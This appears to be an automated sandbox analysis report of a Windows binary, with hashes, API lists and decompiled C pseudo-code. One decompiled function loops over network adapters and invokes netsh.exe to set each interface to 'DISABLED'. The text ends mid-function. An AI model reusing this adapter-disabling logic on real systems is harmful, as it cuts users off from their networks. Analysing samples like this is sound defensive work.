Part of subcall function 001122F6: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00112312
Part of subcall function 001122F6: GetLastError.KERNEL32(0016C368,00000010,00000003,0011E08B,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011234C
Part of subcall function 001122F6: ExitThread.KERNEL32 ref: 00112353

Part of subcall function 0011F253: TlsGetValue.KERNEL32(?,00000004,?,?,?,?,?,00051054,?,00051054), ref: 0011F292

Strings

ios_base::failbit set, xrefs: 0011E00A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$HeapValue_free$AllocateExitFeatureFreePresentProcessorThread_abort
String ID: ios_base::failbit set
API String ID: 2800439388-3924258884
Opcode ID: 9a2226623a01577b6ec79f1615e0beb7aee28285c28033ff77cc7da8d3af24e4
Instruction ID: 92918716641b7ad1f924c7bf4587601d6bf20722d7c36a814faae588179b5b11
Opcode Fuzzy Hash: 9a2226623a01577b6ec79f1615e0beb7aee28285c28033ff77cc7da8d3af24e4
Instruction Fuzzy Hash: 64F02835740A0026C63E23B47C0ABEF32BAAFF4761F290138F85992692EFF088C24151

Uniqueness

Uniqueness Score: 100.00%

Function 00063840, Relevance: 12.2, APIs: 8, Instructions: 240
UNIQUE

Download Yara Rule

C-Code - Quality: 51%

			E00063840(void* __ebx, signed int* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v16;
				char _v17;
				intOrPtr _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int* _v44;
				signed int* _v48;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v80;
				signed int* _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				signed int _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char _v124;
				signed int _v128;
				signed int _v132;
				intOrPtr _v136;
				char* _v140;
				char* _v144;
				char _v184;
				void* __ebp;
				signed int _t84;
				signed int* _t87;
				signed int _t88;
				signed int _t90;
				signed int _t93;
				signed int* _t100;
				signed int _t102;
				intOrPtr _t104;
				signed int _t110;
				int _t113;
				void* _t118;
				intOrPtr* _t121;
				void* _t125;
				signed int _t133;
				signed int* _t134;
				signed int _t138;
				intOrPtr _t141;
				signed int _t149;
				void* _t150;
				void* _t159;
				intOrPtr _t160;
				intOrPtr _t161;
				signed int* _t164;
				signed int* _t167;
				signed int _t168;
				signed int _t169;
				void* _t173;
				void* _t175;
				void* _t176;
				signed int _t177;
				void* _t191;

				_push(0xffffffff);
				_push(0x12e614);
				_push( *[fs:0x0]);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t84 =  *0x16f170; // 0xd529e887
				_push(_t84 ^ _t171);
				 *[fs:0x0] =  &_v16;
				_t164 = __ecx;
				_v44 = __ecx;
				_t87 =  &(__ecx[1]);
				 *__ecx = 0;
				_t167 =  &(_t87[2]);
				_v48 = _t87;
				_v36 = _t167;
				_push(1);
				_v8 = 0;
				_t88 = E000D977E(__ebx, __ecx, _t167);
				_t175 = _t173 - 0x84 + 4;
				_t167[1] = _t88;
				_v8 = 1;
				E000D71DA( &_v40, 0);
				_v8 = 2;
				_t90 =  *0x17a3fc; // 0x0
				_t133 =  *0x17a628; // 0x12
				_v32 = _t90;
				_v24 = _t90;
				if(_t133 == 0) {
					E000D7232( &_v28);
					_t133 =  *0x17a628; // 0x12
				}
				_t138 = _t167[1];
				if(_t133 >=  *((intOrPtr*)(_t138 + 0xc))) {
					_t168 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t168 =  *( *((intOrPtr*)(_t138 + 8)) + _t133 * 4);
					if(_t168 == 0) {
						L8:
						if( *((char*)(_t138 + 0x14)) == 0) {
							L11:
							if(_t168 == 0) {
								goto L12;
							}
						} else {
							_t125 = E000D9778();
							if(_t133 >=  *((intOrPtr*)(_t125 + 0xc))) {
								L12:
								_t168 = _v32;
								if(_t168 == 0) {
									_t118 = E000724D0(_t133, _t164, _t168,  &_v24, _v36);
									_t175 = _t175 + 8;
									_t188 = _t118 - 0xffffffff;
									if(_t118 == 0xffffffff) {
										E00051DB0( &_v60);
										_t121 = E001047B7( &_v60, 0x16cf58);
										goto L30;
									} else {
										_t168 = _v24;
										_v36 = _t168;
										_v8 = 3;
										E000D974C(_t188, _t168);
										_t175 = _t175 + 4;
										_t121 =  *((intOrPtr*)( *_t168 + 4));
										if(_t121 != 0x52060) {
											L30:
											 *_t121();
										} else {
											asm("lock inc dword [esi+0x4]");
										}
									}
									 *0x17a3fc = _t168;
								}
							} else {
								_t168 =  *( *((intOrPtr*)(_t125 + 8)) + _t133 * 4);
								goto L11;
							}
						}
					}
				}
				_v8 = 1;
				E000D7232( &_v40);
				_t134 =  &(_t164[1]);
				 *_t134 = _t168;
				_t93 = E00070750(_t134, _t159,  &(_t134[2]));
				_t176 = _t175 + 4;
				_t134[1] = _t93;
				_v8 = 4;
				_push( &_v17);
				_v144 = L" \\([xX]86\\)";
				_v140 = L" \\([xX]86\\)";
				_v136 = 0x150b12;
				_v132 = 0;
				_v128 = 0;
				_v36 = 0;
				E0006AE10( &_v124, 0,  &_v36);
				_t141 = _v120;
				_t160 = _v124;
				if(_t141 - _t160 >> 2 != 0) {
					_t191 = _t160 - _t141;
					_t154 =  !=  ? _t160 : _t141;
					_v120 =  !=  ? _t160 : _t141;
				}
				_v112 = 0;
				_push(0x24);
				_v8 = 6;
				_t100 = E000ECF08(_t168, _t191);
				_v48 = _t100;
				_t177 = _t176 + 4;
				_t100[1] = 0x14;
				_t100[2] = 0;
				_t100[3] = 0;
				_t100[4] = 0;
				 *_t100 = 0x151d94;
				_t100[6] = 0;
				_t100[7] = 0;
				_t100[8] = 0;
				_v108 = _t100;
				_v104 = _t100;
				_v100 = 1;
				_v96 = _t134;
				_v92 = 0x100;
				_v88 = 4;
				_v84 = _t134;
				_v80 = 1;
				_v64 = 0x8775dfb;
				E0007AB00( &_v144);
				_v8 = 7;
				_t102 = E00074D00(_t134,  &_v144, _t191);
				_t169 = _t102;
				if(_t169 != 0) {
					asm("lock inc dword [esi+0x20]");
				}
				if( *_t164 != 0) {
					asm("lock xadd [ecx+0x20], eax");
					if((_t102 | 0xffffffff) == 0) {
						E00058CF0( *_t164, 0);
					}
				}
				_t161 = _v124;
				 *_t164 = _t169;
				if(_t161 == 0) {
					L28:
					 *[fs:0x0] = _v16;
					return _t164;
				} else {
					_t104 = _t161;
					_t149 = _v116 - _t161 & 0xfffffffc;
					if(_t149 < 0x1000) {
						L27:
						_push(_t149);
						E000ED2D0(_t161);
						goto L28;
					} else {
						_t161 =  *((intOrPtr*)(_t161 - 4));
						_t149 = _t149 + 0x23;
						if(_t104 - _t161 + 0xfffffffc > 0x1f) {
							E0010F44B(_t134, _t149, _t161, _t164, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(0xffffffff);
							_push(0x12cb60);
							_push( *[fs:0x0]);
							_t110 =  *0x16f170; // 0xd529e887
							_push(_t110 ^ _t177);
							 *[fs:0x0] =  &_v184;
							_t150 =  *_t149;
							_t113 = 0x80000000;
							asm("lock xadd [ecx], eax");
							__eflags = 0;
							if(0 == 0) {
								__eflags = 0x80000000 - 0x80000000;
								if(0x80000000 > 0x80000000) {
									asm("lock bts dword [ecx], 0x1e");
									if(0x80000000 >= 0x80000000) {
										_t113 = SetEvent(E00058630(_t150, _t164, _t169));
									}
								}
							}
							 *[fs:0x0] = _v20;
							return _t113;
						} else {
							goto L27;
						}
					}
				}
			}

0x00063843
0x00063845
0x00063850
0x00063857
0x00063858
0x00063859
0x0006385a
0x00063861
0x00063865
0x0006386b
0x0006386d
0x00063870
0x00063873
0x00063879
0x0006387c
0x0006387f
0x00063882
0x00063884
0x0006388b
0x00063890
0x00063893
0x0006389b
0x000638a2
0x000638a7
0x000638ab
0x000638b0
0x000638b6
0x000638b9
0x000638be
0x000638e4
0x000638e9
0x000638e9
0x000638ef
0x000638f5
0x00063903
0x00063903
0x00000000
0x000638f7
0x000638fa
0x000638ff
0x00063905
0x00063909
0x0006391b
0x0006391d
0x00000000
0x00000000
0x0006390b
0x0006390b
0x00063913
0x0006391f
0x0006391f
0x00063924
0x0006392d
0x00063932
0x00063935
0x00063938
0x00063af9
0x00063b07
0x00000000
0x0006393e
0x0006393e
0x00063941
0x00063945
0x00063949
0x00063950
0x00063953
0x0006395b
0x00063b0c
0x00063b0e
0x00063961
0x00063961
0x00063961
0x0006395b
0x00063965
0x00063965
0x00063915
0x00063918
0x00000000
0x00063918
0x00063913
0x00063909
0x000638ff
0x0006396e
0x00063972
0x00063977
0x0006397d
0x00063980
0x00063985
0x00063988
0x0006398e
0x00063995
0x00063999
0x000639a9
0x000639b3
0x000639bd
0x000639c4
0x000639cb
0x000639d2
0x000639d7
0x000639dc
0x000639e6
0x000639e8
0x000639ea
0x000639ed
0x000639ed
0x000639f0
0x000639f7
0x000639f9
0x000639fd
0x00063a02
0x00063a0b
0x00063a0e
0x00063a15
0x00063a1c
0x00063a23
0x00063a2a
0x00063a30
0x00063a37
0x00063a3e
0x00063a45
0x00063a48
0x00063a4b
0x00063a52
0x00063a55
0x00063a5c
0x00063a63
0x00063a66
0x00063a6d
0x00063a74
0x00063a7f
0x00063a83
0x00063a88
0x00063a8c
0x00063a8e
0x00063a8e
0x00063a96
0x00063a9b
0x00063aa0
0x00063aa6
0x00063aa6
0x00063aa0
0x00063aab
0x00063aae
0x00063ab2
0x00063ae0
0x00063ae5
0x00063af3
0x00063ab4
0x00063ab7
0x00063abb
0x00063ac4
0x00063ad6
0x00063ad6
0x00063ad8
0x00000000
0x00063ac6
0x00063ac6
0x00063ac9
0x00063ad4
0x00063b15
0x00063b1a
0x00063b1b
0x00063b1c
0x00063b1d
0x00063b1e
0x00063b1f
0x00063b23
0x00063b25
0x00063b30
0x00063b31
0x00063b38
0x00063b3c
0x00063b42
0x00063b44
0x00063b49
0x00063b4d
0x00063b52
0x00063b54
0x00063b59
0x00063b5b
0x00063b60
0x00063b68
0x00063b68
0x00063b60
0x00063b59
0x00063b71
0x00063b7c
0x00000000
0x00000000
0x00000000
0x00063ad4
0x00063ac4

APIs

std::locale::_Init.LIBCPMT ref: 0006388B

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

std::_Lockit::_Lockit.LIBCPMT ref: 000638A2
std::_Lockit::_Lockit.LIBCPMT ref: 000638C4
std::_Lockit::~_Lockit.LIBCPMT ref: 000638E4
SetEvent.KERNEL32(00000000,D529E887,00000000,0012CB60,000000FF,?,?), ref: 00063B68

Part of subcall function 000724D0: __Getcoll.LIBCPMT ref: 0007266C

std::_Facet_Register.LIBCPMT ref: 00063949
std::_Lockit::~_Lockit.LIBCPMT ref: 00063972

Part of subcall function 00070750: std::_Lockit::_Lockit.LIBCPMT ref: 0007077C
Part of subcall function 00070750: std::_Lockit::_Lockit.LIBCPMT ref: 0007079E
Part of subcall function 00070750: std::_Lockit::~_Lockit.LIBCPMT ref: 000707BE
Part of subcall function 00070750: __Getctype.LIBCPMT ref: 00070860
Part of subcall function 00070750: __Getcvt.LIBCPMT ref: 00070870
Part of subcall function 00070750: std::_Facet_Register.LIBCPMT ref: 000708AA
Part of subcall function 00070750: std::_Lockit::~_Lockit.LIBCPMT ref: 000708CA

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 0007AB00: ___from_strstr_to_strchr.LIBCMT ref: 0007AB25

__CxxThrowException@8.LIBVCRUNTIME ref: 00063B07

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 00058630: CreateEventA.KERNEL32(?,?,?,?,D529E887,?,?,?,?,?,?,?,0012D348,000000FF,?,00063BD7), ref: 00058667
Part of subcall function 00058630: CloseHandle.KERNEL32(00000000), ref: 00058682

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$EventException@8Facet_RegisterThrowstd::locale::_$CloseCreateExceptionGetcollGetctypeGetcvtH_prolog3HandleInitRaiseSetgloballocale___from_strstr_to_strchr
String ID:
API String ID: 3464162768-0
Opcode ID: d267db2037f4e4dc832c3c6676cc3de752c90f14670079f4cd57f1c7442ec061
Instruction ID: 11184901e0aacd1f792d8a86be9e7cd7df0853ca7a74fd36c6bc707338c7a73d
Opcode Fuzzy Hash: d267db2037f4e4dc832c3c6676cc3de752c90f14670079f4cd57f1c7442ec061
Instruction Fuzzy Hash: 37A18BB0D002089FDB14CFA8C885B9EBBF5FF04714F148259E819AB392DB759A44CFA1

Uniqueness

Uniqueness Score: 100.00%

Function 000938B0, Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 261
UNIQUE

Download Yara Rule

C-Code - Quality: 57%

			E000938B0(signed int* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int _v44;
				char _v48;
				short _v52;
				signed int _v56;
				signed int _v60;
				short _v76;
				signed int _v80;
				signed int _v84;
				short _v100;
				signed int _v104;
				char _v108;
				intOrPtr _v124;
				char _v160;
				char _v308;
				intOrPtr _v312;
				signed int _v316;
				char _v332;
				signed int _v336;
				signed int _v340;
				short _v356;
				unsigned int _v360;
				signed int _v364;
				char _v380;
				char _v384;
				signed int _v388;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				intOrPtr _v408;
				signed int _v412;
				void* _v424;
				signed int _v440;
				intOrPtr _v452;
				intOrPtr _v456;
				void* _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				signed int _v488;
				char _v496;
				signed int _v504;
				signed int _v508;
				char _v528;
				char _v552;
				char _v576;
				void* _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				unsigned int _v624;
				intOrPtr _v628;
				intOrPtr _v656;
				char _v672;
				intOrPtr _v692;
				intOrPtr _v696;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t197;
				signed int _t198;
				signed int _t202;
				signed int _t206;
				signed int _t210;
				signed int _t211;
				intOrPtr _t213;
				intOrPtr _t217;
				void* _t219;
				void* _t220;
				intOrPtr _t227;
				signed int _t233;
				signed int _t236;
				signed int _t238;
				signed int _t243;
				signed int _t245;
				void* _t248;
				intOrPtr* _t253;
				void* _t255;
				signed int _t260;
				signed int _t261;
				signed int _t262;
				intOrPtr _t265;
				intOrPtr _t270;
				intOrPtr _t275;
				signed int _t286;
				intOrPtr _t289;
				intOrPtr _t293;
				signed int _t306;
				intOrPtr _t310;
				void* _t320;
				signed int _t322;
				void* _t323;
				void* _t325;
				signed int* _t327;
				intOrPtr _t341;
				signed int _t343;
				signed int _t348;
				intOrPtr _t354;
				intOrPtr _t355;
				intOrPtr _t356;
				signed int _t360;
				signed int _t366;
				intOrPtr _t367;
				unsigned int _t368;
				signed int _t374;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				intOrPtr _t378;
				void* _t380;
				void* _t381;
				void* _t382;
				intOrPtr _t383;
				signed int _t386;
				void* _t387;
				void* _t390;
				void* _t391;
				intOrPtr* _t392;
				intOrPtr _t394;
				signed int _t396;
				void* _t401;
				signed int _t402;
				intOrPtr _t406;
				signed int _t408;
				void* _t411;
				signed int _t412;
				signed int _t414;
				signed int _t419;
				void* _t420;
				signed int _t423;
				void* _t425;
				signed int _t430;
				void* _t431;
				void* _t435;
				void* _t437;

				_t368 = __edx;
				_t327 = __ecx;
				_t412 = _t419;
				_t420 = _t419 - 0x1ac;
				_t197 =  *0x16f170; // 0xd529e887
				_t198 = _t197 ^ _t412;
				_v20 = _t198;
				 *[fs:0x0] =  &_v16;
				_t392 = __imp__GetAdaptersAddresses;
				_t402 =  &_v308;
				_v384 = 0x120;
				_v388 = _t402;
				_t202 =  *_t392(0, 0x1c, 0, _t402,  &_v384, _t198, _t391, _t401, _t320,  *[fs:0x0], 0x131282, 0xffffffff, _t411);
				if(_t202 != 0x6f) {
					__eflags = _t202;
					if(_t202 != 0) {
						goto L33;
					} else {
						goto L5;
					}
				} else {
					_push(_v384);
					_t402 = E00110641(__ecx);
					_t420 = _t420 + 4;
					_v388 = _t402;
					if(_t402 == 0) {
						L33:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t412);
					} else {
						_push( &_v384);
						_push(_t402);
						_push(0);
						_push(0x1c);
						_push(0);
						if( *_t392() == 0) {
							L5:
							_t322 = _t402;
							__eflags = _t402;
							if(_t402 == 0) {
								L31:
								__eflags = _t402 -  &_v308;
								if(_t402 !=  &_v308) {
									goto L32;
								}
								goto L33;
							} else {
								asm("o16 nop [eax+eax]");
								while(1) {
									_v412 = 0;
									_t206 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
									_t423 = _t420 + 0xc;
									__eflags = _t206;
									if(_t206 == 0) {
										break;
									}
									_v408 = 0x17a3a0;
									_v364 = 0;
									_v360 = 7;
									_v380 = 0;
									_v8 = 0;
									_push(9);
									_v316 = 0;
									_v312 = 0xf;
									_v332 = 0;
									E00068B90( &_v332, _t368, _t402, "netsh.exe");
									_v8 = 1;
									_t402 = _v316;
									__eflags = _t402;
									if(_t402 != 0) {
										__eflags = _v312 - 0x10;
										_t400 =  >=  ? _v332 :  &_v332;
										_t392 = ( >=  ? _v332 :  &_v332) + _t402;
										__eflags = _v312 - 0x10;
										_t402 =  >=  ? _v332 :  &_v332;
										_push(L000ABB20(_t322,  &_v332));
										_push( &_v380);
										_push(_t392);
										_push(_t402);
										E000AB300(_t322, _t392, _t402);
										_t423 = _t423 + 0x10;
									}
									_v8 = 0;
									_t383 = _v312;
									__eflags = _t383 - 0x10;
									if(_t383 < 0x10) {
										L14:
										_v316 = 0;
										_v312 = 0xf;
										_v332 = 0;
										_v8 = 2;
										_t392 = _t322 + 0x28;
										L00057930(_t322,  &_v404, _t392);
										_v8 = 3;
										_push( &_v404);
										E00057BC0(_t322,  &_v356,  &_v380, _t392);
										_v8 = 2;
										_t437 = _t423 + 4;
										_t360 = _v404;
										__eflags = _t360;
										if(_t360 == 0) {
											L18:
											_push(0x1530ca);
											_v8 = 4;
											_push( &_v412);
											_push("DISABLED");
											_push(_t392);
											_push("interface");
											_push("set");
											_push("interface");
											L36();
											_t420 = _t437 + 0x1c;
											_v8 = 5;
											_t286 = _v440;
											__eflags = _t286;
											if(_t286 != 0) {
												__eflags = _t286 - 0xffffffff;
												if(_t286 != 0xffffffff) {
													E000565E0(_t322,  &_v440,  &_v356);
												}
											}
											_t327 =  &_v440;
											E000564C0(_t327);
											_v8 = 2;
											_t386 = _v336;
											__eflags = _t386 - 8;
											if(_t386 < 8) {
												L25:
												_v8 = 0xffffffff;
												_t368 = _v360;
												_v340 = 0;
												_v336 = 7;
												_v356 = 0;
												__eflags = _t368 - 8;
												if(_t368 < 8) {
													L29:
													_t322 =  *(_t322 + 8);
													__eflags = _t322;
													if(_t322 != 0) {
														continue;
													} else {
														_t402 = _v388;
														goto L31;
													}
												} else {
													_t327 = _v380;
													_t368 = 2 + _t368 * 2;
													_t289 = _t327;
													__eflags = _t368 - 0x1000;
													if(_t368 < 0x1000) {
														L28:
														_push(_t368);
														E000ED2D0(_t327);
														_t420 = _t420 + 8;
														goto L29;
													} else {
														_t327 =  *((intOrPtr*)(_t327 - 4));
														_t368 = _t368 + 0x23;
														__eflags = _t289 - _t327 + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L35;
														} else {
															goto L28;
														}
													}
												}
											} else {
												_t327 = _v356;
												_t387 = 2 + _t386 * 2;
												_t293 = _t327;
												__eflags = _t387 - 0x1000;
												if(_t387 < 0x1000) {
													L24:
													_push(_t387);
													E000ED2D0(_t327);
													_t420 = _t420 + 8;
													goto L25;
												} else {
													_t327 =  *((intOrPtr*)(_t327 - 4));
													_t368 = _t387 + 0x23;
													__eflags = _t293 - _t327 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L35;
													} else {
														goto L24;
													}
												}
											}
										} else {
											_push(_t360);
											E000709A0(_t322, _t360, _v400);
											_t402 = _v404;
											_t423 = _t437 + 4;
											_t368 = 0x2aaaaaab * (_v396 - _t402) >> 0x20 >> 2;
											_t306 = _t402;
											_t366 = (_t368 >> 0x1f) + _t368 + ((_t368 >> 0x1f) + _t368) * 2 << 3;
											__eflags = _t366 - 0x1000;
											if(_t366 < 0x1000) {
												L17:
												_push(_t366);
												E000ED2D0(_t402);
												_t437 = _t423 + 8;
												_v404 = 0;
												_v400 = 0;
												_v396 = 0;
												goto L18;
											} else {
												_t402 =  *(_t402 - 4);
												_t327 = _t366 + 0x23;
												__eflags = _t306 - _t402 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L35;
												} else {
													goto L17;
												}
											}
										}
									} else {
										_t367 = _v332;
										_t390 = _t383 + 1;
										_t310 = _t367;
										__eflags = _t390 - 0x1000;
										if(_t390 < 0x1000) {
											L13:
											_push(_t390);
											E000ED2D0(_t367);
											_t423 = _t423 + 8;
											goto L14;
										} else {
											_t327 =  *((intOrPtr*)(_t367 - 4));
											_t368 = _t390 + 0x23;
											__eflags = _t310 - _t327 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												L35:
												E0010F44B(_t322, _t327, _t368, _t392, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t412);
												_t414 = _t423;
												_push(0xffffffff);
												_push(0x1312d0);
												_push( *[fs:0x0]);
												_t210 =  *0x16f170; // 0xd529e887
												_t211 = _t210 ^ _t414;
												_v504 = _t211;
												_push(_t322);
												_push(_t402);
												_push(_t392);
												_push(_t211);
												 *[fs:0x0] =  &_v496;
												_v624 = _t368;
												_t213 = _t327;
												_v628 = _t213;
												_v604 = _t213;
												_t394 = _v472;
												_v608 = _t213;
												_v612 = _v476;
												_v608 = _v464;
												_v620 = _v456;
												_t217 = _v452;
												_v616 = _t217;
												L57();
												_v604 = _t217;
												_v488 = 0;
												_t323 = E000940E0( &_v576, _v468);
												_v488 = 1;
												_t219 = E00076270( &_v552, _t394);
												_v488 = 2;
												_t220 = E000940E0( &_v528, _v612);
												_push(_v616);
												_push(_v620);
												_v488 = 3;
												_push(_v604);
												_push(_v608);
												_push(_t323);
												_push(_t219);
												_t406 = _v628;
												_push(_t220);
												E000942E0(_t406, _v624, _t394, _t406);
												_t374 = _v508;
												_t425 = _t423 - 0x88 + 0x1c;
												__eflags = _t374 - 8;
												if(_t374 < 8) {
													L40:
													_t375 = _v56;
													_v36 = 0;
													_v32 = 7;
													_v52 = 0;
													__eflags = _t375 - 8;
													if(_t375 < 8) {
														L44:
														_t376 = _v80;
														_v60 = 0;
														_v56 = 7;
														_v76 = 0;
														__eflags = _t376 - 8;
														if(_t376 < 8) {
															L48:
															_t377 = _v104;
															_v84 = 0;
															_v80 = 7;
															_v100 = 0;
															__eflags = _t377 - 8;
															if(_t377 < 8) {
																L52:
																 *[fs:0x0] = _v20;
																__eflags = _v28 ^ _t414;
																return E000ECED8(_v28 ^ _t414);
															} else {
																_t341 = _v124;
																_t378 = 2 + _t377 * 2;
																_t227 = _t341;
																__eflags = _t378 - 0x1000;
																if(_t378 < 0x1000) {
																	L51:
																	_push(_t378);
																	E000ED2D0(_t341);
																	goto L52;
																} else {
																	_t341 =  *((intOrPtr*)(_t341 - 4));
																	_t378 = _t378 + 0x23;
																	__eflags = _t227 - _t341 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L56;
																	} else {
																		goto L51;
																	}
																}
															}
														} else {
															_t354 = _v100;
															_t380 = 2 + _t376 * 2;
															_t265 = _t354;
															__eflags = _t380 - 0x1000;
															if(_t380 < 0x1000) {
																L47:
																_push(_t380);
																E000ED2D0(_t354);
																_t425 = _t425 + 8;
																goto L48;
															} else {
																_t341 =  *((intOrPtr*)(_t354 - 4));
																_t378 = _t380 + 0x23;
																__eflags = _t265 - _t341 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L55;
																} else {
																	goto L47;
																}
															}
														}
													} else {
														_t355 = _v76;
														_t381 = 2 + _t375 * 2;
														_t270 = _t355;
														__eflags = _t381 - 0x1000;
														if(_t381 < 0x1000) {
															L43:
															_push(_t381);
															E000ED2D0(_t355);
															_t425 = _t425 + 8;
															goto L44;
														} else {
															_t341 =  *((intOrPtr*)(_t355 - 4));
															_t378 = _t381 + 0x23;
															__eflags = _t270 - _t341 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L54;
															} else {
																goto L43;
															}
														}
													}
												} else {
													_t356 = _v52;
													_t382 = 2 + _t374 * 2;
													_t275 = _t356;
													__eflags = _t382 - 0x1000;
													if(_t382 < 0x1000) {
														L39:
														_push(_t382);
														E000ED2D0(_t356);
														_t425 = _t425 + 8;
														goto L40;
													} else {
														_t341 =  *((intOrPtr*)(_t356 - 4));
														_t378 = _t382 + 0x23;
														__eflags = _t275 - _t341 + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															E0010F44B(_t323, _t341, _t378, _t394, __eflags);
															L54:
															E0010F44B(_t323, _t341, _t378, _t394, __eflags);
															L55:
															E0010F44B(_t323, _t341, _t378, _t394, __eflags);
															L56:
															E0010F44B(_t323, _t341, _t378, _t394, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t323);
															_t325 = _t425;
															_t430 = (_t425 - 0x00000008 & 0xfffffff8) + 4;
															_push(_t414);
															_v656 =  *((intOrPtr*)(_t325 + 4));
															_push(0xffffffff);
															_push(0x12f98d);
															_push( *[fs:0x0]);
															_push(_t325);
															_t431 = _t430 - 0x80;
															_push(_t406);
															_push(_t394);
															_t233 =  *0x16f170; // 0xd529e887
															_push(_t233 ^ _t430);
															 *[fs:0x0] =  &_v672;
															_v692 = _t378;
															_v696 = _t341;
															_t236 =  *0x17a3cc; // 0x1
															__eflags = _t236 & 0x00000001;
															if((_t236 & 0x00000001) == 0) {
																_t262 = _t236 | 0x00000001;
																__eflags = _t262;
																 *0x17a3cc = _t262;
																_v24 = 0;
																E000569D0(_t341, _t378, __eflags);
																E000ED2BB(__eflags,  &M00138500);
																_t431 = _t431 + 4;
																_v24 = 0xffffffff;
															}
															E000D71DA( &_v48, 0);
															_v24 = 1;
															_t396 =  *0x17920c; // 0x1a
															_t238 =  *0x17a400; // 0x0
															_v44 = _t238;
															__eflags = _t396;
															if(_t396 == 0) {
																E000D71DA( &_v40, _t396);
																__eflags =  *0x17920c - _t396; // 0x1a
																if(__eflags == 0) {
																	_t260 =  *0x179200; // 0x27
																	_t261 = _t260 + 1;
																	__eflags = _t261;
																	 *0x179200 = _t261;
																	 *0x17920c = _t261;
																}
																E000D7232( &_v40);
																_t396 =  *0x17920c; // 0x1a
															}
															_t343 =  *0x17a3b8; // 0x4fadc0
															__eflags = _t396 -  *((intOrPtr*)(_t343 + 0xc));
															if(_t396 >=  *((intOrPtr*)(_t343 + 0xc))) {
																_t408 = 0;
																__eflags = 0;
																goto L67;
															} else {
																_t408 =  *( *((intOrPtr*)(_t343 + 8)) + _t396 * 4);
																__eflags = _t408;
																if(_t408 == 0) {
																	L67:
																	__eflags =  *((char*)(_t343 + 0x14));
																	if( *((char*)(_t343 + 0x14)) == 0) {
																		L70:
																		__eflags = _t408;
																		if(_t408 == 0) {
																			goto L71;
																		}
																	} else {
																		_t255 = E000D9778();
																		__eflags = _t396 -  *((intOrPtr*)(_t255 + 0xc));
																		if(_t396 >=  *((intOrPtr*)(_t255 + 0xc))) {
																			L71:
																			_t243 = _v44;
																			__eflags = _t243;
																			if(__eflags == 0) {
																				_push(0x34);
																				_t408 = E000ECF08(_t408, __eflags);
																				_t435 = _t431 + 4;
																				_v44 = _t408;
																				_v24 = 2;
